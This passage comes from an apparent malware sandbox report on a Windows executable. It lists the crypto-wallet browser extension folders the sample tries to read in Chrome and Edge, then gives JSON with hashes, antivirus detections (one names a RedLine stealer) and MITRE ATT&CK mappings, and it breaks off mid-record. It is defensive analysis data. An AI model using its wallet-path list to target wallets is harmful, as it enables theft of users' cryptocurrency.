Coinbase Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM related to MEW CX Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NANJMDKNHKINIFNKGDCGGCFNHDAAMMMJ related to GuildWallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\NKDDGNCDJGJFCDDAMFGCMFNLHCCNIMIG related to Saturn Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\FNJHMKHHMKBJKKABNDCNNOGAGOGBNEEC related to Ronin Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB related to Yoroi Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID related to Nifty Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD related to Coinbase Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM related to MEW CX Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NANJMDKNHKINIFNKGDCGGCFNHDAAMMMJ related to GuildWallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\NKDDGNCDJGJFCDDAMFGCMFNLHCCNIMIG related to Saturn Wallet Po.exe trying to open a file C:\Users\%OSUSER%\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\FNJHMKHHMKBJKKABNDCNNOGAGOGBNEEC related to Ronin Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\FFNBELFDOEIOHENKJIBNMADJIEHJHAJB related to Yoroi Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\IBNEJDFJMMKPCNLPEBKLMNKOEOIHOFEC related to TronLink Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\JBDAOCNEIIINMJBJLGALHCELGBEJMNID related to Nifty Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\AFBCBJPBPFADLKMHMCLHKEEODMAMCFLC related to Math Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\HNFANKNOCFEOFBDDGCIJNMHNFNKDNAAD related to Coinbase Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\FHBOHIMAELBOHPJBBLDCNGCNAPNDODJP related to Binance Chain Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\HPGLFHGFNHBGPJDENJGMDGOEIAPPAFLN related to Guarda Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\BLNIEIIFFBOILLKNJNEPOGJHKGNOAPAC related to EQUA Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\CJELFPLPLEBDJJENLLPJCBLMJKFCFFNE related to Jaxx Liberty Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\FIHKAKFOBKMKJOJPCHPFGCMHFJNMNFPI related to BitApp Wallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\KNCCHDIGOBGHENBBADDOJJNNAOGFPPFJ related to iWallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\AMKMJJMMFLDDOGMHPJLOIMIPBOFNFJIH related to Wombat Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NLBMNNIJCNLEGKJJPCFJCLMCFGGFEFDM related to MEW CX Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NANJMDKNHKINIFNKGDCGGCFNHDAAMMMJ related to GuildWallet Po.exe trying to open a file %LOCALAPPDATA%\Google\Chrome\User Data\Default\Local Extension Settings\NKDDGNCDJGJFCDDAMFGCMFNLHCCNIMIG related to Saturn Wallet1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790907286436,"unified_at":"2026-10-02T02:14:46.436Z","metadata":{"hashes":{"sha256":"d97ec62704f6714c0100506510fda9b8326814aa18612e666b98a343572d54d9","sha1":"5abcfe696f4a049c014d94726c975d3a974968e0","md5":"22c44c550563220ca7ebfcfc28351b9f","sha512":"d10521e52293456076e859e126adb345ee046459921521d92433ab02ac597a18582051f964b7dfb7b4660bbe64af59d74b98bc614db557eacf09bb18bf1733ee","ssdeep":"12288:Txjrr7F5qfMs8WdBd308n4sHWihcB92m4xXqNO6OVdA8ryHCz+7cbOnw2Qgd:TxLsMs8WdXk89WB92m0qiV6ixanDQ0","ssdeep_chunks":["12288:Txjrr7F","12288:xjrr7F5","12288:jrr7F5q","12288:rr7F5qf","12288:r7F5qfM","12288:7F5qfMs","12288:F5qfMs8","12288:5qfMs8W","12288:qfMs8Wd","12288:fMs8WdB","12288:Ms8WdBd","12288:s8WdBd3","12288:8WdBd30","12288:WdBd308","12288:dBd308n","12288:Bd308n4","12288:d308n4s","12288:308n4sH","12288:08n4sHW","12288:8n4sHWi","12288:n4sHWih","12288:4sHWihc","12288:sHWihcB","12288:HWihcB9","12288:WihcB92","12288:ihcB92m","12288:hcB92m4","12288:cB92m4x","12288:B92m4xX","12288:92m4xXq","12288:2m4xXqN","12288:m4xXqNO","12288:4xXqNO6","12288:xXqNO6O","12288:XqNO6OV","12288:qNO6OVd","12288:NO6OVdA","12288:O6OVdA8","12288:6OVdA8r","12288:OVdA8ry","12288:VdA8ryH","12288:dA8ryHC","12288:A8ryHCz","12288:8ryHCz+","12288:ryHCz+7","12288:yHCz+7c","12288:HCz+7cb","12288:Cz+7cbO","12288:z+7cbOn","12288:+7cbOnw","12288:7cbOnw2","12288:cbOnw2Q","12288:bOnw2Qg","12288:Onw2Qgd","24576:Txjrr7F","24576:xjrr7F5","24576:jrr7F5q","24576:rr7F5qf","24576:r7F5qfM","24576:7F5qfMs","24576:F5qfMs8","24576:5qfMs8W","24576:qfMs8Wd","24576:fMs8WdB","24576:Ms8WdBd","24576:s8WdBd3","24576:8WdBd30","24576:WdBd308","24576:dBd308n","24576:Bd308n4","24576:d308n4s","24576:308n4sH","24576:08n4sHW","24576:8n4sHWi","24576:n4sHWih","24576:4sHWihc","24576:sHWihcB","24576:HWihcB9","24576:WihcB92","24576:ihcB92m","24576:hcB92m4","24576:cB92m4x","24576:B92m4xX","24576:92m4xXq","24576:2m4xXqN","24576:m4xXqNO","24576:4xXqNO6","24576:xXqNO6O","24576:XqNO6OV","24576:qNO6OVd","24576:NO6OVdA","24576:O6OVdA8","24576:6OVdA8r","24576:OVdA8ry","24576:VdA8ryH","24576:dA8ryHC","24576:A8ryHCz","24576:8ryHCz+","24576:ryHCz+7","24576:yHCz+7c","24576:HCz+7cb","24576:Cz+7cbO","24576:z+7cbOn","24576:+7cbOnw","24576:7cbOnw2","24576:cbOnw2Q","24576:bOnw2Qg","24576:Onw2Qgd","12288:TxLsMs8","12288:xLsMs8W","12288:LsMs8Wd","12288:sMs8WdX","12288:Ms8WdXk","12288:s8WdXk8","12288:8WdXk89","12288:WdXk89W","12288:dXk89WB","12288:Xk89WB9","12288:k89WB92","12288:89WB92m","12288:9WB92m0","12288:WB92m0q","12288:B92m0qi","12288:92m0qiV","12288:2m0qiV6","12288:m0qiV6i","12288:0qiV6ix","12288:qiV6ixa","12288:iV6ixan","12288:V6ixanD","12288:6ixanDQ","12288:ixanDQ0"],"imphash":"319b1edcc4538be377f43066c635ffef"},"file_info":{"file_name":"22c44c550563220ca7ebfcfc28351b9f.exe","file_type":["peexe","executable"],"file_type_id":"exe","file_size":840230,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1713260469000,"last_seen":1713260469000,"last_multi_scan":1713260469000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["windows-server-utility"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":79},"sandbox_signatures":{"informative_count":202,"suspicious_count":24,"malicious_count":14,"total":240},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.PowerShell","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/AD.RedLineSteal.gygjq","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Fugrafa.302487","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bkavpro":{"name":"Bkav Pro","success":true,"verdict":"malicious","threat_name":"W32.Malware.527C757A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_90% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Fugrafa.302487 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"BScope.Trojan.VBS.Agent","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Agent.VBS.1874","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Fugrafa.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Imports GetCommandLine API"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"},{"type":"suspicious","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads rich edit control libraries"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to access device drivers"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"informative","value":"Contains reference to Windows Startup folder"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"DLL Side-Loading","attack_id":"T1574.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1574/002","identifiers":[{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"AppInit DLLs","attack_id":"T1546.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/010","identifiers":[{"type":"informative","value":"Contains ability to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"malicious","value":"Writes data to a remote process"},{"type":"malicious","value":"Creates a process in suspended mode (likely for process injection)"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Contains ability to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Privilege Escalation","technique":"Process Hollowing","attack_id":"T1055.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/012","identifiers":[{"type":"malicious","value":"Sets thread context in a remote process (often injection or process hollowing)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Dotnet file resource with suspicious entropy"},{"type":"informative","value":"Calls an API typically used to convert data from string to binary"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - AES Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to perform AES/RC4 encryption (API string)"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"suspicious","value":"Calls an API typically used to query local/system time as file time"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"},{"type":"informative","value":"Contains ability to set file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"suspicious","value":"Queries kernel debugger information"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"},{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"}],"sources":[{"report_type":"sandbox","report_id":"661e47b589f558a5120abe12"}]},{"tactic":"Defense Evasion","technique":"File 